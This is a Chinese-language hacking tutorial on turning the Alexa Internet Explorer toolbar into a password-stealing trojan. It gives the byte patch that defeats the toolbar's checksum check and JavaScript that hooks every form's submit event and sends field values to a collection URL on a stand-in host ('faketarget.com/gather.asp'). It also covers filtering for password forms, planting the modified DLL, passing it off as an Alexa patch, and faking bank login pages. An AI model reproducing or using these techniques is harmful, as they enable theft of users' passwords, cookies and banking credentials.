把Alexa工具條改裝成木馬
作者【四不像】【www.20cn.net】
Alexa是一個發怖全球網站排名訊息的網站,他的網址是http://www.alexa.com。Alexa通過在客戶端安裝Alexa工具條來收集採樣全球網站的訪問資料,以這些資料為依據對全球網站進行排名,類似於電視收視率的統計。Alexa工具條是一種類似於Google工具條的IE插件,你可以在下面URL中下載:
http://download.alexa.com/index.cgi。
一、Alexa工具條的工作原理
Alexa工具條是一種關於BHO和Toolbar Bands技術的一種IE插件。它以DLL文件的形式存在於系統中,是一種COM元件,IE會在執行時將其載入到自身工作中去,所以一般情況下防火牆是無法禁止該軟體訪問網路的,這就為他的木馬角色提供了先天的便利,而且比本地機Sniff軟體收集密碼的優勢是:無論是HTTP還是HTTPS的網站,不管通信通道是否加密,只要是IE頁面的表單都能收集到。具體原理可以參考《關於Alexa排名作弊的一些解惑》(
http://www.donews.net/tabris17/archi...20/104018.aspx)
系統在安裝了Alexa工具條後,會在系統目錄下產生AlxTB1.dll和AlxRes.dll兩個DLL文件(有些情況下是AlxTB2.dll,而不是AlxTB1.dll。那是因為Alexa工具條會自動上網更新的原因)。Alexa工具條的主要二進制程式碼存在於AlxTB1.dll文件中,這個文件同時也被註冊成多個COM元件,他完成了BHO和Toolbar Bands的COM接頭,並將IE的WebBrowser控件封裝為一個COM元件供AlxRes.dll使用。AlxRes.dll文件僅包含少量的二進制程式碼,大量的程式碼是HTML和JavaScript程式碼,他們以資源的形式存在於AlxRes.dll文件中,你可以通過res://AlxRes.dll/CHTML/about.html這樣的URL來訪問這些資源。也許你會奇怪:又不是做網站,為什麼軟體的程式碼會是JavaScript寫的?這就是Alexa工具條垃圾的地方。Alexa工具條的主界面是由HTML+JAVASCRIPT實現的。這些JAVASCRIPT程式碼通過使用AlxTB1.dll實現的COM接頭來實現軟體的全部功能。這樣做不僅導致軟體的效率低下,而且產生大量的資源洩漏,絕對是一種VERY超級SB的開發模式,但是卻為我們修改Alexa工具條的功能提供了方便——根本不需要CRACKER知識,只要一個PE資源修改工具就可以對Alexa工具條的程式碼進行修改了。
二、破解Alexa工具條
當然,Alexa也不是真傻,絕對不會蠢到讓自己的程式碼被你用資源修改工具隨便改。為了防止AlxRes.dll中的資源被隨意修改,他採取了計算文件校驗和的保護方法,要是發現文件被修改,就會拒絕載入。我們在修改程式碼前,必須破解這種保護機制。
AlxTB1.dll匯出一個名叫ChecksumResources的函數,這個函數就是用來計算文件校驗和的。用c32asm反彙編AlxRes.dll文件,檢視字串串使用列表,找到"ChecksumResources"字串串,跳轉到使用該字串串的程式碼,於100017C0處。往下翻幾行,在100017F6處找到一句跳轉,採用爆破方式,用NOP指令覆蓋JNZ指令即可。通俗點講:就是將AlxRes.dll文件偏移"0x17F6"處的兩個字元"75 11"改成"90 90",你可以使用WinHex之類的16進制編輯軟體來修改。
::100017C0:: 68 9C700010 PUSH 1000709C \:BYJMP JmpBy:100017A4,100017B1, \->: ChecksumResources
::100017C5:: 57 PUSH EDI
::100017C6:: FF15 1C500010 CALL [1000501C] >>>: KERNEL32.DLL:GetProcAddress
::100017CC:: 85C0 TEST EAX, EAX
::100017CE:: 74 0E JE SHORT 100017DE \:JMPDOWN
::100017D0:: 8D4D DC LEA ECX, [EBP-24]
::100017D3:: 51 PUSH ECX
::100017D4:: FF35 44740010 PUSH DWORD PTR [10007444]
::100017DA:: FFD0 CALL EAX
::100017DC:: 59 POP ECX
::100017DD:: 59 POP ECX
::100017DE:: 57 PUSH EDI \:BYJMP JmpBy:100017CE,
::100017DF:: FF15 18500010 CALL [10005018] >>>: KERNEL32.DLL:FreeLibrary
::100017E5:: 8D45 B8 LEA EAX, [EBP-48]
::100017E8:: 50 PUSH EAX
::100017E9:: 8D45 DC LEA EAX, [EBP-24]
::100017EC:: 50 PUSH EAX
::100017ED:: E8 AE060000 CALL 10001EA0 \:JMPDOWN
::100017F2:: 59 POP ECX
::100017F3:: 85C0 TEST EAX, EAX
::100017F5:: 59 POP ECX
::100017F6:: 75 11 JNZ SHORT 10001809 \:JMPDOWN ;就是修改這裡
現在我們可以毫無顧忌的修改AlxRes.dll中的資源了。可以參考《新版本的 Alexa Toolbar 破解方法》(
http://www.donews.net/tabris17/archi...18/137121.aspx)
三、修改Alexa工具條的程式碼
熟悉IE編程的人都知道,DWebBrowserEvents2接頭是用來接收WebBrowser的事件通知的,我們可以在AlxRes.dll的Javascript程式碼中找到這些些對應的函數。在res://AlxRes.dll/SCRIPT/EVT.CLASS.JS的程式碼中,有一系列的JAVASCRIPT函數,對應於DWebBrowserEvents2接頭的成員,如
ocumentComplete->BP_onDocumentComplete,NavigateComplete2->BP_onNavigateComplete,BeforeNavigate2->BP_onBeforeNavigate。按照DWebBrowserEvents2接頭,我們可以在BeforeNavigate2中截獲PostData,但是在AlxRes.dll的程式碼中,這個接頭沒有完全實現。在DWebBrowserEvents2接頭中的原型是:
void BeforeNavigate2(IDispatch *pDisp,
VARIANT *&url,
VARIANT *&Flags,
VARIANT *&TargetFrameName,
VARIANT *&PostData,
VARIANT *&Headers,
VARIANT_BOOL *&Cancel
);
這其中的PostData包含了的Post資料。而BP_onBeforeNavigate的函數原型:
function BP_onBeforeNavigate(oParentWebBrowser2, oWebBrowser2, sURL, bPostData, sHeaders);
其中,bPostData只是個BOOL檔案類型的變數。此路不通,必須另想辦法。
一般來說,我們在IE中輸入的用戶名密碼都是通過表單提交到伺服器的,如果能在表單提交前截獲表單的內容就可以實現竊取密碼了。在JAVASCRIPT中,只要處理表單的"OnSubmit"事件,就可以先於提交而處理表單的內容。而AlxRes.dll的功能也是由JAVASCRIPT實現的,所以我們就無需面對繁瑣的COM接頭,而直接使用JAVASCRIPT了。
這裡我推薦使用Resource Hacker來修改AlexRes.dll中的資源,個人感覺比eXeScope用起來爽多了。
四、截獲網頁表單的內容
我現在使用的方法有些類似於"跨站點指令碼執行漏洞"。先來看看"res://AlxRes.dll/SCRIPT/EVT.CLASS.JS"中的"BP_onDocumentComplete"函數:
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL);
該函數在IE的當前瀏覽頁面被載入完成時被使用,其中的 oWebBrowser2 參數可以當作當前IE正在瀏覽的頁面的window對象。如果你懂得JAVASCRIPT的話,接下來要做的事情就十分簡單了。增加如下程式碼:
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
... ...
try{
for(i=0;i
{
oWebBrowser2.document.forms.onsubmit=test;
}
}catch(e){}
return false;
}
這段程式碼的作用就是枚舉本頁面中所有的表單對象,並為這些表單定義OnSubmit事件。接下來就是完成test函數了:
function test()
{
try{
window.alert("I can get the value!");
for(i=0;i
{
if(this.elements.name!="")
{
window.alert(this.elements.name+":"+this.elements.value);
//do some thing
}
}
}catch(e){}
return true;
}
不過用這種方法存在一點弊端:當表單是通過JavaScript語句"Submit()"提交時,不會產生"OnSubmit"事件,上面的程式碼也就無法紀錄下表單的內容了。可以採用改變表單提交位址的方法來解決這個問題:
function BP_onDocumentComplete(oParentWebBrowser2, oWebBrowser2, sURL) {
... ...
try{
for(i=0;i
{
oWebBrowser2.document.forms.innerHTML=oWebBrowser2.document.forms.innerHTML+"";
oWebBrowser2.document.forms.action="http://www.faketarget.com/gather.asp";
}
}catch(e){}
return false;
}
以上的程式碼對於某些頁面存在問題,有時會無法將隱藏字段增加到表單中去。
五、散佈和植入木馬
以上程式碼均是用PE資源軟體修改AlxRes.dll文件實現的。所以,只要用新的AlxRes.dll文件將原來系統的AlxRes.dll取代掉。Alexa工具條在載入的時候會優先在"C:\Program Files\Internet Explorer"和"C:\Documents and Settings\[username]\桌面"這兩個路徑下搜尋AlxRes.dll,所以也可以把修改過的AlxRes.dll放到這兩個路徑下,這樣就不用覆蓋源文件了。至於怎麼安裝,那可是有一大堆的IE漏洞等著你去Exploit呢,這可不是本文涉及的範圍。
安裝了Alexa工具條的IE的"User-Agent"會加入"Alexa Toolbar"的標記,所以很容易區分目標的IE是否已經安裝了Alexa工具條:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Alexa Toobar)
也可以修改Alexa的安裝文件,或者以Alexa修正檔的名義來發怖,這個就扯遠了。
六、收集密碼
你可以用FileSystemObject控件來將表單內容紀錄到文件,或者直接作為參數傳送到某個Web伺服器,由web伺服器收集紀錄下來即可。為了在客戶端過濾一些不包含密碼的表單,最好在AlxRes.dll的程式碼中對收集的表單資料進行一些檢查:
function test()
{
var IsPwdForm=false;
var FormStr;
try{
for(i=0;i
{
if(this.elements.name!="")
{
if(this.elements.type=="password")
IsPwdForm=true;
FormStr=FormStr+this.elements.name+"="+this.elements.value+"&";
}
}
if(IsPwdForm)
{
//表單包含密碼文本,進行收集
}
}catch(e){}
return true;
}
七、其他的套用
大多數的網上銀行登入界面是由ActiveX控件實現的,無法截獲表單資料,但是我們可以通過"oWebBrowser2"對像來操縱、修改瀏覽的頁面,當然也可以偽造一個網上銀行的登入界面。還可以用來收集用戶瀏覽網頁的紀錄,也可以用來竊取用戶COOKIE等。